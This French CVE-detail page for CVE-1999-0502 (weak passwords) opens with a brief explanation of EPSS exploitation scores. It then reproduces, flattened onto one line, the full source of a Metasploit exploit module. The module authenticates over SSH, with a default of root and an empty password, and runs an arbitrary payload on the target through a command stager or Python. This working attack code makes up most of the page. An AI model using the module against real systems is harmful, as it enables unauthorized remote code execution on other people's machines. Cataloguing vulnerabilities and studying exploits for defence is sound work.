CVE-1999-0502 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::CmdStager include Msf::Exploit::Remote::SSH attr_accessor :ssh_socket def initialize super( 'Name' => 'SSH User Code Execution', 'Description' => %q{ This module connects to the target system and executes the necessary commands to run the specified payload via SSH. If a native payload is specified, an appropriate stager will be used. }, 'Author' => ['Spencer McIntyre', 'Brandon Knight'], 'References' => [ [ 'CVE', '1999-0502'] # Weak password ], 'License' => MSF_LICENSE, 'Privileged' => true, 'DefaultOptions' => { 'PrependFork' => 'true', 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 4096, 'BadChars' => "", 'DisableNops' => true }, 'Platform' => %w{ linux osx python }, 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ], [ 'OSX x86', { 'Arch' => ARCH_X86, 'Platform' => 'osx' } ], [ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ] ], 'CmdStagerFlavor' => %w{ bourne echo printf }, 'DefaultTarget' => 0, # For the CVE 'DisclosureDate' => 'Jan 01 1999' ) register_options( [ OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]), OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]), OptString.new('RHOST', [ true, "The target address" ]), Opt::RPORT(22) ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]) ] ) end def execute_command(cmd, opts = {}) vprint_status("Executing #{cmd}") begin Timeout.timeout(3) do self.ssh_socket.exec!("#{cmd}\n") end rescue ::Exception end end def do_login(ip, user, pass, port) factory = ssh_socket_factory opt_hash = { :auth_methods => ['password', 'keyboard-interactive'], :port => port, :use_agent => false, :config => false, :password => pass, :proxy => factory, :non_interactive => true } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin self.ssh_socket = Net::SSH.start(ip, user, opt_hash) rescue Rex::ConnectionError fail_with(Failure::Unreachable, 'Disconnected during negotiation') rescue Net::SSH::Disconnect, ::EOFError fail_with(Failure::Disconnected, 'Timed out during negotiation') rescue Net::SSH::AuthenticationFailed fail_with(Failure::NoAccess, 'Failed authentication') rescue Net::SSH::Exception => e fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}") end if not self.ssh_socket fail_with(Failure::Unknown, 'Failed to start SSH socket') end return end def exploit do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT']) print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...") if target['Platform'] == 'python' execute_command("python -c \"#{payload.encoded}\"") else execute_cmdstager({:linemax => 500}) end self.ssh_socket.close end end